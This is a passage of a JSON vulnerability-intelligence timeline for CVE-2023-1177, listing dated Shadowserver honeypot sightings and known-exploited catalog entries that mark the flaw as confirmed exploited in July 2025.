"Telegram/duOTfCn6RoqmHAqYRXt8t0kUEJcU31FUXRoVxVk6gm8XuvA", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "15bf3d1a-6cab-4bdb-afd3-dfc43e5df970", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-13T00:00:00Z", "date_only": false, "value": "2025-04-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ca42a9ce-e650-447d-8c8c-5a4eb71a6fca"}, {"timestamp": "2025-04-15T00:00:00Z", "date_only": false, "value": "2025-04-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "28444b3d-b814-4761-bb4a-1c94351d7b14"}, {"timestamp": "2025-04-17T00:00:00Z", "date_only": false, "value": "2025-04-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4b26a744-6a98-41c8-860f-a8d8950eaab6"}, {"timestamp": "2025-04-18T00:00:00Z", "date_only": false, "value": "2025-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "48fcc1c9-1ef4-4e6f-9787-bc1c1a89f2c4"}, {"timestamp": "2025-04-19T00:00:00Z", "date_only": false, "value": "2025-04-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0d1adb46-a173-4fb5-bafe-e5d1643b9cc7"}, {"timestamp": "2025-04-21T00:00:00Z", "date_only": false, "value": "2025-04-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f004942f-46eb-4fc8-be52-dd9c325d9ace"}, {"timestamp": "2025-04-22T00:00:00Z", "date_only": false, "value": "2025-04-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f8586208-817e-49ad-996d-e2e2af416950"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": false, "value": "2025-04-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "44b37d89-a385-4b28-87b3-9e05ea417112"}, {"timestamp": "2025-04-27T00:00:00Z", "date_only": false, "value": "2025-04-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "196c65a2-0aea-43bc-896f-e058fd36c5ed"}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": false, "value": "2025-04-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8b9ae618-c844-4198-87ed-9473b51b63bc"}, {"timestamp": "2025-04-30T00:00:00Z", "date_only": false, "value": "2025-04-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2a2fea4d-8d98-48d3-83d4-8374c2c643d3"}, {"timestamp": "2025-05-02T00:00:00Z", "date_only": false, "value": "2025-05-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e2c1a537-e389-44cf-aece-6b64ae30a341"}, {"timestamp": "2025-05-03T00:00:00Z", "date_only": false, "value": "2025-05-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d2d2bbbc-90e9-48ca-aebe-4a0d456b23d8"}, {"timestamp": "2025-05-05T00:00:00Z", "date_only": false, "value": "2025-05-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3c58de4e-9558-4a48-93c0-4fb98da9f5ce"}, {"timestamp": "2025-05-09T00:00:00Z", "date_only": false, "value": "2025-05-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "689f3382-802d-417f-9d12-148112a0821c"}, {"timestamp": "2025-05-11T00:00:00Z", "date_only": false, "value": "2025-05-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "686a2dfd-0762-4de0-9cbc-56a667f8fe23"}, {"timestamp": "2025-05-13T00:00:00Z", "date_only": false, "value": "2025-05-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "33a0a7b9-87c8-4aa5-9a28-90111057faa7"}, {"timestamp": "2025-05-14T00:00:00Z", "date_only": false, "value": "2025-05-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "69b65bef-d361-4574-9e71-f366a9123c76"}, {"timestamp": "2025-05-15T00:00:00Z", "date_only": false, "value": "2025-05-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "5c28910c-551b-43ed-9a1c-fa05b9148e85"}, {"timestamp": "2025-05-16T00:00:00Z", "date_only": false, "value": "2025-05-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2e21cb75-f0b5-4707-8539-603479e38b91"}, {"timestamp": "2025-05-17T00:00:00Z", "date_only": false, "value": "2025-05-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "daa1b1b7-1012-4047-9af1-0d9888e7560a"}, {"timestamp": "2025-05-18T00:00:00Z", "date_only": false, "value": "2025-05-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fbce2992-7f67-42e1-ad2d-c77aea67cb58"}, {"timestamp": "2025-05-20T00:00:00Z", "date_only": false, "value": "2025-05-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-20)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "20a96f89-7591-4a5d-b68b-71b68d643e7f"}, {"timestamp": "2025-05-21T00:00:00Z", "date_only": false, "value": "2025-05-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f264bd02-f770-4c81-850d-a874be75bf44"}, {"timestamp": "2025-05-22T00:00:00Z", "date_only": false, "value": "2025-05-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "5f1f4e18-0340-4314-b9ac-277c22f32678"}, {"timestamp": "2025-05-23T00:00:00Z", "date_only": false, "value": "2025-05-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a8ebf106-55e0-4c5e-b83d-2572068d4e50"}, {"timestamp": "2025-05-24T00:00:00Z", "date_only": false, "value": "2025-05-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ab9513c7-cef1-4bb7-be0d-acc11ec7c914"}, {"timestamp": "2025-05-26T00:00:00Z", "date_only": false, "value": "2025-05-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dd9e2268-2d3d-40c8-8e27-e7cb058cf49b"}, {"timestamp": "2025-05-27T00:00:00Z", "date_only": false, "value": "2025-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0317ee2f-07a9-42cb-aff4-80e30184471e"}, {"timestamp": "2025-05-28T00:00:00Z", "date_only": false, "value": "2025-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e005a67b-443a-4292-8649-17d1679e2c7a"}, {"timestamp": "2025-05-29T00:00:00Z", "date_only": false, "value": "2025-05-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "429bce61-2c23-48e2-8db8-619744332578"}, {"timestamp": "2025-05-30T00:00:00Z", "date_only": false, "value": "2025-05-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b7976640-a8ca-442f-8abb-12cea389e71e"}, {"timestamp": "2025-06-02T00:00:00Z", "date_only": false, "value": "2025-06-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "91cdb5d4-773b-45c6-9f8f-44eed5208e94"}, {"timestamp": "2025-06-03T00:00:00Z", "date_only": false, "value": "2025-06-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ab7be08e-c622-4947-b6f2-e7f8560f80d4"}, {"timestamp": "2025-06-04T00:00:00Z", "date_only": false, "value": "2025-06-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "5bcf5b6e-993c-4464-8db3-e2aa8f4f2f9f"}, {"timestamp": "2025-06-05T00:00:00Z", "date_only": false, "value": "2025-06-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e9009593-bd59-47de-9ac4-555032ac73ed"}, {"timestamp": "2025-06-06T00:00:00Z", "date_only": false, "value": "2025-06-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b3dbf94d-b9a4-43f1-8b9d-54184562d07e"}, {"timestamp": "2025-06-07T00:00:00Z", "date_only": false, "value": "2025-06-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b55d93ff-dba5-4b3a-bbb2-04d2cf907e6b"}, {"timestamp": "2025-06-08T00:00:00Z", "date_only": false, "value": "2025-06-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "73316ff9-576b-44df-ae4e-5adaf9553df4"}, {"timestamp": "2025-06-09T00:00:00Z", "date_only": false, "value": "2025-06-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a6aabf36-56b8-44cf-8e07-7d17566cbfb3"}, {"timestamp": "2025-06-10T00:00:00Z", "date_only": false, "value": "2025-06-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "54456a42-0d15-4e1a-9aa6-74c4ece18d49"}, {"timestamp": "2025-06-11T00:00:00Z", "date_only": false, "value": "2025-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ca3cc755-bbb0-4f4a-b71b-c6a0eebaea16"}, {"timestamp": "2025-06-12T00:00:00Z", "date_only": false, "value": "2025-06-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dad03659-32cf-4d4d-9ecf-2adad752876f"}, {"timestamp": "2025-06-13T00:00:00Z", "date_only": false, "value": "2025-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "34def262-3558-425b-bfa2-6e2fd062f0d8"}, {"timestamp": "2025-06-15T00:00:00Z", "date_only": false, "value": "2025-06-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7bc49d17-ec42-4c21-b45c-1e1bf26d13bb"}, {"timestamp": "2025-06-16T00:00:00Z", "date_only": false, "value": "2025-06-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "cda1494b-3151-4a5c-84b9-021eb66691e2"}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "29d4eac3-333c-4369-8713-a3bd8d0b3064"}, {"timestamp": "2025-06-21T00:00:00Z", "date_only": false, "value": "2025-06-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ef4f40ab-f36a-4e97-82b9-8c6bc52bbc11"}, {"timestamp": "2025-06-23T00:00:00Z", "date_only": false, "value": "2025-06-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4d7abaff-a535-4cdd-9124-59f6a84b6b86"}, {"timestamp": "2025-06-24T00:00:00Z", "date_only": false, "value": "2025-06-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "78625404-cbe3-4e42-a36b-d8aacffa306b"}, {"timestamp": "2025-06-25T00:00:00Z", "date_only": false, "value": "2025-06-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2a9f123a-0ad0-41d8-a0b1-9242986172cf"}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d6cc88de-ca2f-48e2-9d60-f3af26752409"}, {"timestamp": "2025-06-27T00:00:00Z", "date_only": false, "value": "2025-06-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9b7a5a45-d170-4c2b-a560-272d6415433b"}, {"timestamp": "2025-07-02T00:00:00Z", "date_only": false, "value": "2025-07-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d55c7c70-a3f0-4dad-85c5-977872f1f156"}, {"timestamp": "2025-07-03T00:00:00Z", "date_only": false, "value": "2025-07-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4e9049ed-59a2-42a6-aa8b-1fdd5930e4ea"}, {"timestamp": "2025-07-04T00:00:00Z", "date_only": false, "value": "2025-07-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "23bf1aa6-7fa4-472f-9288-192c987baeff"}, {"timestamp": "2025-07-06T00:00:00Z", "date_only": false, "value": "2025-07-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "781c7349-654c-4cf3-baf2-b58b155a1176"}, {"timestamp": "2025-07-07T00:00:00Z", "date_only": false, "value": "2025-07-07T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2023-1177", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "6130c9ef-f580-471c-9151-bc3a9edb2c89", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-07T00:00:00Z", "date_only": false, "value": "2025-07-07T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2023-1177", "field": "evidence.0.details.added_date", "uuid": "6130c9ef-f580-471c-9151-bc3a9edb2c89", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-07T00:00:00Z", "date_only": false, "value": "2025-07-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f601a923-d09d-40f0-a143-c09aa2145eda", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-07T00:00:00Z", "date_only": false, "value": "2025-07-07T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2023-1177", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "6130c9ef-f580-471c-9151-bc3a9edb2c89", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-07T00:00:00Z", "date_only": false, "value": "2025-07-07T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2023-1177", "field": "status.status_updated_at", "uuid": "6130c9ef-f580-471c-9151-bc3a9edb2c89", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-08T00:00:00Z", "date_only": false, "value": "2025-07-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "81a13b53-f32b-4a23-92c6-9b82a3a00e59"}, {"timestamp": "2025-07-09T00:00:00Z", "date_only": false, "value": "2025-07-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "21e16a33-a49e-4a1a-b28f-049ea36ddc60"}, {"timestamp": "2025-07-10T00:00:00Z", "date_only": false, "value": "2025-07-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b6602d0d-53ea-4265-99a9-7f680c682989"}, {"timestamp": "2025-07-12T00:00:00Z", "date_only": false, "value": "2025-07-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a9bc1c91-9ebc-4f18-b4ea-a305f59e078e"}, {"timestamp": "2025-07-13T00:00:00Z", "date_only": false, "value": "2025-07-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fbb560e3-d11f-4ccd-8a4a-6e9cbbfd9cb7"}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": false, "value": "2025-07-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "229ee746-649f-4aa2-b832-e93313b7800b"}, {"timestamp": "2025-07-17T00:00:00Z", "date_only": false, "value": "2025-07-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "de8ac76b-46fc-4a98-9a3b-71c09eb7d2eb"}, {"timestamp": "2025-07-20T00:00:00Z", "date_only": false, "value": "2025-07-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-20)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e62f483f-f932-4261-9822-a657f3bdb8e4"}, {"timestamp": "2025-07-21T00:00:00Z", "date_only": false, "value": "2025-07-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d0030114-ace8-43e7-a6e2-5f6d02acb585", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-21T00:00:00Z", "date_only": false, "value": "2025-07-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b1828388-35c3-4326-9e3b-9c0b3bc29d56"}, {"timestamp": "2025-07-22T00:00:00Z", "date_only": false, "value": "2025-07-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a31f9d52-b060-4d17-85fc-6b733502584b"}, {"timestamp": "2025-07-30T00:00:00Z", "date_only": false, "value": "2025-07-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9529ac5e-f0cc-4caf-8a6d-cc3a79c14d11"}, {"timestamp": "2025-07-31T00:00:00Z", "date_only": false, "value": "2025-07-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "90edc5b7-cc9f-4ff0-b8d2-fbbbd39edf9b"}, {"timestamp": "2025-08-02T00:00:00Z", "date_only": false, "value": "2025-08-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7ec6b3af-1d09-4c5f-b5e1-effb396b1688"}, {"timestamp": "2025-08-04T00:00:00Z", "date_only": false, "value": "2025-08-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dadd7107-8c80-4e0b-8bd1-9779df0c010d"}, {"timestamp": "2025-08-05T00:00:00Z", "date_only": false, "value": "2025-08-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ffb3af7d-23c5-4e74-8ca7-2504bda6b0f8"}, {"timestamp": "2025-08-06T00:00:00Z", "date_only": false, "value": "2025-08-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8e421d39-2ab3-48ad-a029-277afa917fca"}, {"timestamp": "2025-08-07T00:00:00Z", "date_only": false, "value": "2025-08-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ed553a5d-ffad-470d-b56c-118e31ef92b4"}, {"timestamp": "2025-08-08T00:00:00Z", "date_only": false, "value": "2025-08-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f176472f-4ccd-4cfb-884f-72131afdd9af"}, {"timestamp": "2025-08-09T00:00:00Z", "date_only": false, "value": "2025-08-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "38dc8269-808c-403d-9328-f4f4cd6502a4"}, {"timestamp": "2025-08-12T00:00:00Z", "date_only": false, "value": "2025-08-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "28e45063-8b36-42f6-9aed-f9ce09056c1c"}, {"timestamp": "2025-08-13T00:00:00Z", "date_only": false, "value": "2025-08-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "659c9061-f7e7-4fa1-a7f3-407063df4f98"}, {"timestamp": "2025-08-17T00:00:00Z", "date_only": false, "value": "2025-08-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "bed52ba1-ad3e-42fe-9a43-bf9df092f7a9"}, {"timestamp": "2025-08-18T00:00:00Z", "date_only": false, "value": "2025-08-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e97fca6a-5893-49ac-8190-159bb6f38c93"}, {"timestamp": "2025-08-21T00:00:00Z", "date_only": false, "value": "2025-08-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "783e19b1-e068-4401-86ce-4874151069f7"}, {"timestamp": "2025-08-22T00:00:00Z", "date_only": false, "value": "2025-08-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "497418ad-763c-4cb6-8194-da66772746a1"}, {"timestamp": 